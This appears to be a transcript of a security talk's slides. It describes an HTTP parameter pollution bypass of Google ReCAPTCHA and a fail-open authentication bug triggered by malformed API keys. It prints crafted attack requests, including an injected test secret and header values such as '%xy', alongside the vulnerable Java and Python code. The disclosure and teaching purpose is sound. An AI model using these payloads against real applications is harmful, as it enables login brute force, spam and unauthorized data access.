Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Injecting into URLs / Breaking URL-Encoding

Injecting into URLs / Breaking URL-Encoding

ReCAPTCHA bypass and authentication bypass. Both using URL-encoding tricks.

andresriancho

August 20, 2018
Tweet

More Decks by andresriancho

Other Decks in Programming

Transcript

  1. Injecting into URLs
    Breaking URL-Encoding
    Meetup
    Buenos Aires, Argentina

    View Slide

  2. /me
    ● Application security expert (web|API)
    ● Developer (Python!)
    ● Open Source evangelist
    ● w3af project leader
    ● Independent application security consultant

    View Slide

  3. Bypassing Google
    ReCAPTCHA
    (in some scenarios)

    View Slide

  4. ReCAPTCHA
    Prevents automation by asking the user to solve
    tasks which are easy for humans but hard for
    computers.

    View Slide

  5. User sends solution to application
    Clicking on the Verify button will send this HTTP
    request to the application:
    POST /verify-recaptcha-response HTTP/1.1
    Host: vulnerable-app.com
    recaptcha-response={user-response}

    View Slide

  6. Verify response with the API
    POST /recaptcha/api/siteverify HTTP/1.1
    Host: www.google.com
    Content-Type: application/x-www-form-urlencoded
    recaptcha-response={user-response}&secret={application-secret}
    HTTP/1.1 200 OK
    Content-Type: application/json; charset=utf-8
    Content-Length: 90
    {
    "success": true,
    "challenge_ts": "2018-01-29T17:58:36Z", ...
    }
    Google's ReCAPTCHA API verifies the user's response:

    View Slide

  7. Verify response with the API
    private String sendPost(String CaptchaResponse, String Secret) {
    String url = "https://www.google.com/recaptcha/api/siteverify";
    url += "?response=";
    url += CaptchaResponse;
    url += "&secret=";
    url += Secret;
    URL obj = new URL(url);
    HttpsURLConnection con = (HttpsURLConnection) obj.openConnection();
    ...
    Google's ReCAPTCHA API verifies the user's response:

    View Slide

  8. HTTP parameter pollution
    POST /verify-recaptcha-response HTTP/1.1
    Host: vulnerable-app.com
    recaptcha-response=anything%26secret%3dxyz
    Injecting parameters into the API request:
    POST /recaptcha/api/siteverify HTTP/1.1
    Host: www.google.com
    ...
    recaptcha-response=anything&secret=xyz&secret={application-secret}

    View Slide

  9. ReCAPTCHA duplicate parameters
    POST /recaptcha/api/siteverify HTTP/1.1
    Host: www.google.com
    ...
    recaptcha-response={user-response}&secret={application-secret}
    &secret={another-secret-application-secret}
    HTTP/1.1 200 OK
    Content-Type: application/json; charset=utf-8
    ...
    ReCAPTCHA accepted duplicate parameter names, using the first one
    and discarding the second:

    View Slide

  10. View Slide

  11. ReCAPTCHA and integration tests
    ReCAPTCHA allows developers to configure a
    specific application secret (should only be used in
    non-production environments) which forces
    ReCAPTCHA to always return "success".
    6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe
    https://developers.google.com/recaptcha/docs/faq

    View Slide

  12. Bypass ReCAPTCHA
    POST /verify-recaptcha-response HTTP/1.1
    Host: vulnerable-app.com
    recaptcha-response=anything%26secret%3d6LeIxAcTAAAAAGG-vFI1TnRWxMZNFu
    ojJ4WifJWe
    Injecting parameters into the API request:
    POST /recaptcha/api/siteverify HTTP/1.1
    Host: www.google.com
    ...
    recaptcha-response=anything&secret=6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4
    WifJWe&secret={application-secret}

    View Slide

  13. Requirement: HPP
    There are two strong requirements for this vulnerability to be exploitable in a web
    application:
    1. The application needs to have an HTTP parameter pollution vulnerability in the
    ReCAPTCHA url creation.
    Github searches showed that ~60% of the integrations with ReCAPTCHA are
    vulnerable
    ProTip: Never, ever, use string concatenation or formatting for creating
    URLs.

    View Slide

  14. Requirement: Order
    There are two strong requirements for this vulnerability to be exploitable in a web
    application:
    2. The vulnerable web application needs to create the URL with the response parameter
    first, and then the secret:
    This allows the attacker to control the first "secret" parameter.
    Strangely, almost all applications do it the other way. My guess is that Google’s
    documentation and code examples did it like that, and others simply copied from
    there.
    Google got lucky there… if they would have done it the other way around, this
    vulnerability would have affected even more sites. GitHub searches showed that only
    5 to 10% of the ReCAPTCHA implementations meet this requirement.
    response=…&secret=…

    View Slide

  15. Only 3% meet the requirements

    View Slide

  16. Risks: Login brute force, spam, etc.
    What is usually protected by ReCAPTCHA?
    ● Authentication
    ● Password reset and user registration
    ● Comments section
    Those things could have been bypassed!

    View Slide

  17. Fix: No duplicate parameter names
    Google fixed this issue by rejecting all HTTP requests
    that have more than one parameter named the
    same way.
    This fix is smart: protects all vulnerable applications
    without requiring them to apply any changes nor
    fixing their vulnerabilities.

    View Slide

  18. Google's Bug Bounty
    (rant)

    View Slide

  19. Bounty
    ● Jan-29 / Vulnerability is reported to Google
    ● Jan-30 / Google replies: “reCAPTCHA is working exactly as designed“
    ● Jan-31 / I ask them to please re-read the vulnerability report
    ● Jan-31 / Google asks for more information
    ● Feb-1 / Google confirms vulnerability
    ● Feb-15 / Google awards 500 USD for the vulnerability report.
    Money donated to charity.
    ● Mar-25 / Patch is released

    View Slide

  20. Breaking URL-Encoding
    Authentication bypass

    View Slide

  21. Spot the bug!
    The following code was found during one of
    my application security assessments.
    Spot the bug, tell us how to exploit it, win a
    beer!

    View Slide

  22. import requests
    class AuthenticationManager(object):
    API_AUTHORIZE_URL = "http://auth.service/authenticate?key=%s"
    def authenticate(self, api_key):
    authenticated = True
    url = self.API_AUTHORIZE_URL % api_key
    try:
    response = requests.get(url).json()
    except Exception, e:
    # Gets here on connection error, 400, 403, 404, 500
    logging.error('Exception: %s' % e)
    else:
    # response looks like {"result": true}
    return response['result']
    return authenticated

    View Slide

  23. GET /super/secret/data HTTP/1.1
    Host: vulnerable-app.com
    X-API-Key: %xy
    Exploitation: Breaking URL encoding
    The API key is specially crafted to trigger an
    error in the internal authentication API. Most
    likely triggering 400 (Bad Request).
    The default-open implementation of the
    authenticate method will grant the attacker
    access.

    View Slide

  24. GET /super/secret/data HTTP/1.1
    Host: vulnerable-app.com
    X-API-Key: AAA*10000
    Other ways to break URLs?
    GET /super/secret/data HTTP/1.1
    Host: vulnerable-app.com
    X-API-Key: #
    GET /super/secret/data HTTP/1.1
    Host: vulnerable-app.com
    X-API-Key: %3c%0a

    View Slide

  25. Thanks!

    View Slide

  26. For hire
    Does your company or startup need these services?
    ● Application Penetration Test
    ● Secure Coding Training for Developers
    ● Source Code Review
    ● Cloud Security Assessment
    Let me know, I can help you deliver secure web applications.

    View Slide